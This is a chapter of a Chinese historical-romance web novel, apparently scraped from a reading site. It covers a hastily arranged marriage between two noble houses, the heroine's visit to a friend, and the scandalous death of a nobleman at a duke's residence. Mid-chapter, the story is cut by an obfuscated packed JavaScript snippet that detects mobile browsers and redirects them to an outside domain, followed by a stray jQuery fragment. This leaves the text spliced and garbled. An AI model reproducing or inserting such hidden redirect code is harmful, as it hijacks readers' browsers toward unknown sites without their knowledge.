47. 第47章

作品:《嫡女难为

    往常程淑兰哪里敢这样给她摆脸色?


    薛氏自知理亏,前段日子谎称病没有见程淑兰,如今她又觍着脸过来,让人家奚落几句也很正常,不过她堂堂宁王妃,让一个候门夫人说教,心里怎么都别扭。


    可宁王眼看就要不行了,自己儿子又年轻气盛,不寻个有靠山的岳家到底是走得不顺,先前她盛气凌人高高在上,是觉得平阳侯府高攀了他们宁王府,如今有了裴长璟这座大山在背,江明瑶又是裴长璟的亲妹妹,可不得好好巴结侯府。


    她硬生生咽了口气,对老夫人道:“眼看两个孩子都到了年龄,咱们做父母的少不得早些做打算。”


    老夫人虽然病了几日,但知道的事情也不少,这薛氏会看人下菜碟,眼看着裴长璟和侯府有了点关系,这就上赶着来了。


    “明瑶年纪还小,我还想多留她两年,王妃没有女儿,怕是不明白嫁女儿的心酸。”


    老夫人笑着推辞,江明瑶虽不是她嫡亲的孙女,但好歹养了这么些年,顶着的是侯府嫡女的名头,宁王府如此行事,与墙头草并无区别,虽说陆怀辞这孩子她喜欢,可难免会受自己母亲的影响,到时候明瑶嫁过去也是两头为难,老夫人自然不想看到这种局面。


    薛氏笑容僵了僵,继续道:“老夫人说的是,我虽没有女儿,但明瑶嫁过来,我待她也必定如亲生般疼爱。”


    程淑兰一开始生气,但听到老太太说多留江明瑶两年时,突然慌了下,生怕把江明瑶给耽搁了,薛氏这人虽然虚伪,但陆怀辞那孩子可是一等一的好,满朝堂之上都拎不出一个能比得上他的青年才俊。


    宁王身体本就不好,薛氏此行就是想把婚事说定,早早成了婚也心安,不然宁王撒手人寰,儿子还得守孝,再成婚就不知道是个什么变数了,总不能真的耽搁人家一个花样年华的女儿家,有了裴长璟撑腰,江明瑶随便用个什么理由退了婚,岂不是便宜别人。


    她如意算盘打的好,程淑兰此刻脸色才终于正常了几分,“希望明瑶真的好福气,有王妃如此疼爱。”


    老夫人瞥了眼程淑兰,见程淑兰满心欢喜,她也不好阻拦,她毕竟年纪大了,管不了这么多事情,况且江明瑶一心都是陆怀辞,便由着他们去吧。


    双方商议了婚期,就这么定了。


    江晚榆听到消息的时候还小小惊讶了下,不是因为两人成婚这事,而是因为婚期,上一世他们成婚是七月初,而如今竟然变成了四月初,整整提前了三个月不止,看来宁王府还挺着急,难道是宁王快不行了?


    上一世,宁王的病情加重发展并没有这么迅速,一直挺到了年末,估计还想挺着身体抱孙子呢,可人斗不过天,终究没盼到那日。


    这几日总会有人时不时来她这里小坐,甚至还能提前进院子等着她,江晚榆觉得不胜其烦,月汐回家后,就是月芙帮她看着小库房,江晚榆对这些一向不上心,月芙却很仔细,基本上她见过的珠钗首饰过目不忘。


    她的院里除了自己带来的月芙月汐,还有柳氏送来竹芯并着两个婆子,然后就是程淑兰送来的四个丫鬟婆子,还有个年纪更小的松枝。


    祖母本来也想给她送丫鬟婆子,但她觉得自己这小院里伺候的人太多,就拒绝了。


    月芙嘟囔道:“姑娘,您首饰盒里不经常带的耳坠和金钗都不见了,会不会是月汐收进库房了?”


    月汐做什么事都会和她报备,即使是细枝末节的小事也从来没省略过,她那些首饰太多了丢那么一两件不足为奇。


    她把松枝喊了过来,这孩子性子活泼对府里的人都很熟悉,让她打听事情比月芙月汐她们要快多了。


    交代完这些事,江晚榆又去了趟侍郎府看望孙成锦,她比上次看起来精神好了点,或许已经说服自己了,又或许是认命了。


    之前裴长璟问了许多关于孙成锦和沈为君的事,她那么聪慧,也知晓裴长璟接下来要做的事必定和沈为君有关系,可能是顾及到她和孙成锦的关系才来问了问,至于他到底做什么事情,她不得而知,也不想去问。


    江晚榆试探性问了问,“姐姐可想过,如果女子不用嫁人,今后要如何生活呢?”


    她怕孙成锦无论嫁给谁都是上辈子那样的结果。


    孙成锦难得露出笑脸,“如果不嫁人,我定要做出一番女子的事业,我会养花儿,我敢说盛京里就没有人比我更懂这些花儿,到那个时候,我可以开一间花坊,我从来不觉得女子非要嫁人才行。”


    她似乎是说到伤心处,“我娘在我很小的时候便去世了,她临死前都抓着我的手,说女子在世不容易,掌握自己的命运更不易。”


    孙成锦见过母亲太多无奈,父亲宠妾灭妻把她们母女赶回老宅,母亲原先那样明媚善良的人,最后临死前,父亲都不愿见她,她父亲原先只是个名不见经传的小官,全靠外祖父一家的打点和提携。


    女子嫁人有什么好处?为他生儿育女,铺通官路,到头来落得病死的下场,所以她很小的时候就觉得,不嫁人才是一种幸运。


    “那我祝愿姐姐得偿所愿!”


    孙成锦觉得心情愉悦了些才担忧道,“妹妹可知外面的风言风语?我虽不出门,但孙成芳整日来我这里说,常远章似乎和妹妹扯上了什么关系,那小公爷不是良人,妹妹可要看清楚才是。”


    都这个时候了,孙成锦还不忘提醒她,江晚榆觉得心里很不是滋味,但是也只能等着,等着裴长璟究竟要做什么,关于朝堂党派之争她了解的不算少,因为上一世要替陆怀辞绸缪策划,这些人物关系她必须知晓。


    郑国公是梁太后一党,但涉及到沈为君也就是平南伯的态度,上一世,她记得平南伯原先是保持中立,后来不知怎么回事,平南伯投靠了裴长璟一脉,好像就和沈为君有关。


    那时候,沈为君早就死了发妻,如今他还没娶孙成锦,难道裴长璟想早些动手?早些动手又是为何呢?


    她想不通,也不想再去想。


    江晚榆点头道:“我知道了。”


    回了侯府,江晚榆的晚饭是在老夫人那里吃的,她总觉得心里有些忐忑,不知道是不是因为好些日子没见裴长璟。


    自从落水被救后,她就不自觉有些依赖这个二哥,听长顺说那个叫长云的暗卫听被派到了外地执行任务,她隔几日就会借祖母的名义带些东西回去,每次都是长顺收,却见不到裴长璟的人影,不仅如此,连傅宁宵那个游手好闲的人都不知道忙什么去了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487393|184351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    这让她心里更着急了。


    到了下半夜,突然一道闪电划过,江晚榆被吓了一跳从梦中惊醒,还是上一世那些断断续续的片段,月芙从外厅跑了进来,眼里带着慌张。


    “姑娘,二少爷那边派人来送消息了!”


    江晚榆急不可耐,“你快说!”


    月芙喝了两口水才道:“长顺过来送的消息,二少爷说怕你担心,所以先和你说,明日整个盛京才会知晓。”


    “哎呀,你不要说这些没用的,到底发生了什么?”江晚榆有些好奇道。


    月芙说得又快又急,眼里还带着点兴奋激动的神色,一个小姑娘家倒是丝毫不怕。


    江晚榆从月芙断断续续的叙述中拼凑了一个最终的结果:


    沈为君竟然死了!!!


    她愣了下,倒吸一口凉气,她直觉这事和裴长璟有关,做的如此漂亮又不留痕迹,用此事来牵制郑国公,要挟太后放了傅宁宵倒是极聪明,但打死沈为君是为了什么?


    莫非当初他问自己和孙成锦的关系便是为了衡量到底是否顺手杀了沈为君?江晚榆有些不敢想了。


    月芙继续道:“那芸惠县主不知怎么了,带着人就冲进了小公爷的屋子,看到小公爷和一个男子纠缠不清,当下急火攻心,直接派人当场鞭打那男子,等打完,一掀被子才发现,这人竟然就是沈为君!!”


    “最恐怖的是,沈为君不知被哪个不知轻重的下人给打死了,小公爷吓得精神错乱,现在尸首还在国公府放着,二少爷已经派人去通知了平南伯。”


    江晚榆还沉浸在一个恐怖的事实当中,芸惠县主竟然真的失手打死了沈为君!!


    果然第二日,盛京谣言四起,平南伯不仅状告到大理寺,还进宫面圣,一把年纪哭得老泪纵横,郑国公面色阴沉,不发一言。


    沈为君此人虽然不行,但毕竟是平南伯唯一的儿子,他能不怨恨郑国公?不仅如此,关于常远章和沈为君两个男子的断袖传闻是越传越疯,当初只有芸惠县主和沈为君的传言,如今加上小公爷简直让人笑掉大牙。


    有人歌颂沈为君为了小公爷舍身勾引芸惠县主这个老女人,两人的爱情可歌可泣,芸惠县主简直气疯了,只有常远章自己知道,他已经不能人道,本想着来点刺激的试试,没想到还没尝试就被县主抓了个现行。


    芸惠县主如今不到四十,保养得当依稀能看出当年的美貌,身着名贵华服,满头珠钗看起来雍容华贵,一个沈为君还威胁不到她。


    她就是气别人说她是个老女人,这时一双细嫩光滑的手伸了过来,给芸惠县主嘴边喂了一颗葡萄,金风眠笑得妖娆,“县主何必和那些刁民生气,她们目睹不了县主绝世之资才妄自揣测。”


    芸惠县主这才消了几分气,“原先你说那沈为君生的獐头鼠目,别有心思我还不信,如今没想到他惦记的竟然是我儿。”


    金风眠靠过去几分,才小声道:“县主就是太善良了,那是沈为君不经打,小公爷年纪还小,最容易被诓骗,有国公爷在,没人敢动县主,再说了,那沈为君只是个庶子而已。”


    至于到底是谁劝县主过去的,又或者是谁趁乱打死沈为君的,都不再重要了。